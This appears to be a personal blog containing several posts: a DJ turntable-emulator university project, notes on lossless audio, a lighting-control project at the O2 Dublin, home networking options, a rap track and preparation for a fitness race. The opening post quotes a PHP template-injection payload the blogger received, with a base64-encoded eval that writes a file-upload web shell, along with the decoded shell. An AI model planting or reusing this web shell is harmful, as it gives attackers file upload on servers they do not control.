Well actually, they raised a support ticket with a PHP injection script. What’s one of those? It’s one of these:

 {php#}eval(base64_decode('JGMzbyA9IGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFOQ21WamFHOGdKenhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUluQnZjM1FpSUdWdVkzUjVjR1U5SW0xMWJIUnBjR0Z5ZEM5bWIzSnRMV1JoZEdFaUlHNWhiV1U5SW5Wd2JHOWhaR1Z5SWlCcFpEMGlkWEJzYjJGa1pYSWlQaWM3RFFwbFkyaHZJQ2M4YVc1d2RYUWdkSGx3WlQwaVptbHNaU0lnYm1GdFpUMGlabWxzWlNJZ2MybDZaVDBpTlRBaVBqeHBibkIxZENCdVlXMWxQU0pmZFhCc0lpQjBlWEJsUFNKemRXSnRhWFFpSUdsa1BTSmZkWEJzSWlCMllXeDFaVDBpVlhCc2IyRmtJajQ4TDJadmNtMCtKenNOQ21sbUtDQWtYMUJQVTFSYkoxOTFjR3duWFNBOVBTQWlWWEJzYjJGa0lpQXBJSHNOQ2dscFppaEFZMjl3ZVNna1gwWkpURVZUV3lkbWFXeGxKMTFiSjNSdGNGOXVZVzFsSjEwc0lDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2RkS1NrZ2V5QmxZMmh2SUNjOFlqNVZjR3h2WVdRZ1UxVkxVMFZUSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUgwTkNnbGxiSE5sSUhzZ1pXTm9ieUFuUEdJK1ZYQnNiMkZrSUVkQlIwRk1JQ0VoSVR3dllqNDhZbkkrUEdKeVBpYzdJSDBOQ24wTkNqOCsiKTsNCiRyZWQgPSBmb3BlbigidGVtcGxhdGVzX2MvcmVkLnBocCIsInciKTsNCmZ3cml0ZSgkcmVkLCRjM28pOw=='));{/php#} 

 $c3o = base64_decode("PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCglpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8Yj5VcGxvYWQgU1VLU0VTICEhITwvYj48YnI+PGJyPic7IH0NCgllbHNlIHsgZWNobyAnPGI+VXBsb2FkIEdBR0FMICEhITwvYj48YnI+PGJyPic7IH0NCn0NCj8+"); $red = fopen("templates_c/red.php","w"); fwrite($red,$c3o); 

 <#php echo '

<form id="uploader" action="" method="post" name="uploader" enctype="multipart/form-data">'; echo '
<input type="file" name="file" size="50" /> <input id="_upl" type="submit" name="_upl" value="Upload" /> </form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<strong>Upload SUKSES !!!</strong>

 
<div>'; } else { echo '<strong>Upload GAGAL !!!</strong>'; } } #> 

So….how can I redress this balance? I can't. 

---

This was my Final Project for my BSc Hons in Software Systems For The Arts and Media

The brief for this project was simple. It had to be validly located inside the scope of the course. Which covers hardware/software/interfacing/human computer interaction/graphic design/animation………limited only by the course title.

 

I chose to emulate a pair of turntables as realistically as possible. Although this has been done before nobody has done it quite like this – especially back in 2001 – and I also had the benefit of being a geek with a number of years of coding, and an HND in software engineering under my belt.

 

The project workload was huge, well, far bigger than expected. I can't tell you all the things I had in mind for it because I'd have to kill you. Needless to say, to my bitter regret, sacrifices and adaptations had to be employed.

 

What did i get done?:

 

Joystick:

 

Fully completed, Fully working ;-> (bo! badabye now, outherewitharinsinsound)

 

 

Software:

 

Graphic Design stage 1 completed (enough for a sexy basic mixer interface)

 

 

 

2 independent turntables, with animated records, each with a playlist for up to 500 MP3 files (no reason why i stopped at 500, i just did)

 

Each turntable has a play frequency of 100Hz > 100,000HZ (latency 30ms), a volume, pan and BPM setting (BPM is calculated from a 44100hz reference point and altered by the play frequency) all with same latency. Good ol' directsound.

 

Entire software is controlled by the joystick alone. turntable's frequency is adjustable via 7" record on joystick, in a scratching manner.

 

No real scratching yet. you can scratch forwards real nice, but I had some trouble working the scratch code into the directsound buffer engine, methinks its a delphi speed thing (im used to Pascal with embedded ASM in DOS). Instead pulling back slows the track a bit as if dragging your fingers over the turntable edge.

 

 

 

For those that like stats:

 

Graphic engine 60fps on AMD K6-2 500 with TNT2 (DirectDraw)

 

Audio Engine using 8% of resources live……..;->

 

 

 

Behold the beauty of the fully-working prototype joystick. I built it myself, using a carefully balanced mixture of MDF, Mixer components, A2D convertor, Technics lego and a PS/2 Mouse. And about 12 buckets of blood, sweat and tears.

 

 

 

This project was selected by my course tutors for inclusion in the University of Herts New Designers Exhibition stand in 2001.

 

Below is a photo of (a very young looking) me, DJ CrispyFlow ( or whatever, Widowmaker, Bigboy Smalls, Judge Judy etc.) mixin' it up and blowin peoples minds at the 5 day exhibition in Islington, London! Rewind…….

 

 

 

UPDATE:

Not only does the software work in windows 7 without any mods (!!!!!!) it works better than it did on windows XP!!! But I have given up on the software part. Why reinvent the wheels of steel?

 

The new plan – is to turn my joystick into a fully functional USB MIDI traktor controller…… Watch this space for progress!!!

High Fidelity. 

Great Movie.

Formats

1. You cant scratch them
2. They never wear out
3. They never get dusty
4. You can TAG them (see below!)
5. You can embed cover art into them
6. You can carry them in your pocket on your iphone/ipod/rockbox/zune……blah blah
7. You can make perfect backup copies of the files to another HD in a matter of seconds
8. You can STREAM them around your home.
9. You can turn them into a sacrifical car CD in seconds
10. They are the same quality as the CD / DVDA they were ripped from!

• ALAC (Apple Lossless – my particular format of choice becasue its compatible with itunes (FLACs are not – at least on PC anyway)
• APE (Monkey's Audio)
• WAVPAck
• OptimFROG
• Real Audio Lossless
• Shorten
• The True Audio Open source [.tta]
• WMA Lossless

Lossless

Anality

Software

1) Folders

%album artist%\%Album%[' ('%date%')']\

D:\Foo Fighters\Nothing Left To Lose (1999)

[%discnumber%.]%tracknumber%. %title%[' ('%artist%' - '%album%')'][' ('%trackartist%')']

2) Tagging.

• Artist (For compilations I recommend you use "Various" or "OST" for soundtracks)
• Album
• Date (Just the YEAR is best!)
• Track
• Track No
• (Track artist should also be used if it is a compilation)
• Disc no if more than one disc in album
• Disc Total if more than one disc in album
• Genre

3) Cover art.

4) Renaming the files

[%discnumber%.]%tracknumber%. %title%[' ('%artist%' - '%album%')'][' ('%trackartist%')']

5) Importing cover images

6) Transcode the lot to ALAC

Thats it.  Go listen to your top end audio files.

First up is this:

The O2, Dublin

The link is quoted at the bottom in case the news item disappears in the future.

The O2 in dublin; Everything in the attached write up is accurate – my role was project manager of the project, which included the majority of design works, (supported by a small but skilled engineering team).

It was enormously complicated, the most complicated lighting control job we’ve  (Andromeda Telematics) done in our 10 year history. We did manage to finish it in 5 months, and it has been a very successful project. It was also my first project as a manager, so it was a great result.

I’m currently doing a much bigger project (6 times bigger) – Dublin Airport Terminal 2, which is nearing completion after 2 years. I’ll post another one when it’s finished!

KNX solution at the O2 Dublin sets new standards

KNX UK Association member Andromeda Telematics (ATL) was shortlisted in the KNX International Awards presented at the 2010 Light+Building Exhibition in Frankfurt for the company’s O2 project in Dublin. It is a showcase of progressive design and building services providiing an integrated control solution for the renovation, delivering innovative KNX/DALI colour change functionality as well as an emergency lighting test system.

With an entertainment venue of this scale safety was also paramount, with lighting control signalling exits and providing emergency lighting.  It was also important to create a perception of the venue as energy-conscious and this was achieved using  sustainable KNX design.

Cutting edge building services were integral to the relaunch of the O2 with lighting playing a major role and lighting control being utilised in a practical sense.  Pre-show, interval and post-show lighting scenes help to create structure for shows and lighting in facilities such as the toilets, front of house and bars is key.

The KNX/DALI solution includes building-wide lighting scene control for public areas, controllable via local touch screens and a central headend.  There is also local scene set control and dimming in the private bar areas, as well as local control in all back-of-house areas for override of lighting condition.

The external lighting controls feature lux sensors which activate lighting automatically at dusk.  Vitally, an override function is available for periods where the building is unoccupied, such as holidays.  The building’s facade features colour change sequencing and pattern selection through DALI.  Similarly, the auditorium itself features colourised lightscapes, with colour change fittings and high power dimming combinations, with a portable touch screen controller.

Through this complex solution, ATL has provided a customised global control system, offering the ability to alter lighting states throughout the building.  The system delivers the capabilities to create individualised lighting scenes for each show both on the facade and in the auditorium, creating varying ambience and enhancing the customer experience as desired.

The solution also has the ‘green’ credentials and the KNX technology used for the project itself provides energy-savings through reduced cabling, and the robust and reliant nature of the protocol reduces maintenance costs.  The lighting control strategy undertaken has also proven to reduce energy consumption by up to 60%, with presence detection and lux sensors meaning that lighting is only active when required.

The time-scale in which the project needed to be completed was also particularly challenging as there was only a five month period from delivery of first panel to site to the completion of commissioning.  The project represented important steps both for ATL and the KNX community as a whole with  ATL taking DALI colour change capabilities to a new level of functionality.

 Having put up with a silly little Cat5 lead running out of my lounge into the study for 3 years I have decided to do something about it.

Options:

1) Drill a hole through two walls, and run the cable around the wall with cable conduit. (£10)

For: FASTEST and most reliable. Cheap option – about 10 quid for conduit and bits and bobs.

Against: pain in the neck and uber-ugly.

Real World Speed: Approx 75Mbit in my own tests.

2) Go WiFi (£30)

For: EASY. Little to do. Change router, plug in and go.

Against: Change IP Router to WiFi router and open up the network to hacking from outside the building. Possibly quite slow, contention issues. Possible “Brain Cookage” from radio waves. Everyone and their dog can download WEP/WPA hacking tools and punch in from outside, using my web access.

Real World Speed: 20 to 30Mbit if I’m lucky and enable the security.

3) Powerline 200Mbps (£90)

For: EASY. Plug in devices each end and go.

Against: Unsure of result – quality of electrical installation and devices attached have enormous impact on transfer speeds. Security is onyl as secure as anything else until it gets hacked.

Real World Speed: 30 to 40Mbit with security enabled.

I’m not going for number 2 beause it is insecure and also my net connection might drop out or die at inopportune moments.

Leaving 1 or 3. I better ask maria.

OK Asked Maria and she would prefer me not drilling holes everywhere, meaning I need to save up for option 3.  Have to wait until after the wedding though I guess.

 Hopefully over the next few days I’ll post a number of items up of various things; Episode 1 is evidence of my rapping/producing.

This track was written, recorded, mixed, and produced by me back in 2002/3, just before America went and messed everything up in Iraq. Expect strong political views and a touch of harsh language.

It’s a shame really, on many counts; I gave this track out to a couple of my mates and it caused quite a stir in Eastbourne (where I was living at the time). There was a stand up comedy circuit, and the organiser expressed interest in me performing tracks at his shows as a sort of break from the comedy; And of course some of my comments in the track were ironic/sarcastic comedy as well. I never pursued this avenue – missed opportunity #1.

 My friend Tristan has been producing rock and metal and drum n bass tracks for a  long time and offered to produce the tracks for me.  I was enjoying the control I had (having recently quit my band Imessiah), and was reluctant to give it up. I politely refused; This was a big mistake. I was blinded by the control, and couldnt see that I needed a producer to break the track up from a listeners perspective, add a hook, and a chorus as well as re-record the vocal. missed opportunity #2.

I only recorded a couple more track after, and neither were up to scratch from the production side of things. I havent rapped since 2004. Missed opporutnity #3.

But here it is; Ignorance and Bliss by Switch (as I called myself then.). Please bear in mind I did two vocal takes. One got me half way through then I made a mistake, so I started over. The vocals are all done in one take, and only on the second go. Listening to it now, I showed a lot of potential.

[MEDIA=1]

What have I learnt? I am stubborn, and arrogant. I have been trying to address these traits of my persona over the last 5 years and have made considerable headway at least.

Tristan, if you read this, I am sorry bro. I should have taken up your most kind and generous offer. The next track will be called Regrets and Disdain!

As you can read here, and here I am entering the Tough Guy competition.  It was an excuse to get fit and lose wieght really; with the added bonus of an enormous mental challenge to boot. And it is tomorrow!!!

My kit bag:

You can see:

• Cross country North Face running trainers, courtesy of Mark Hastings of Sandhurst fame.
• Creatine Tablets – for extra muscle power
• Dextrose tablets for energy
• Support socks with anti blister design
• Vaseline to ease chafing and to assist water runoff
• Duct tape to seal the top of my shoes and tie them onto my feet, lest the mud sucks them off!
• Pins to affix my running number to my shirt
• Gloves to protect my pinkies on the rope sections
• Spectators Passes for Maria and Karen (my sister in law)
• Parking Permit
• Death Warrant!!!!! this signs my life away…..

I ran 2 miles today with a couple of dextrose tablets and a  dose of creatine and felt a million odllars by the time I got home. I am rather suprised that I am not nervous at all.

I predict a couple of my team members will drop out/not turn up, no names mentioned.  I certainly wont, and I’ll post a picture of the medal on sunday evening.

Wish me luck – I’ll need it.

Weathered Chain

Originally uploaded by Pensive666

This little fella definitely counts as my best photo yet.

Taken with my new Canon EOS 450D, on the shores of Lake Windermere in the lake district, this shot demonstrates that there really is very little in this world that is as rugged as a rusty chain.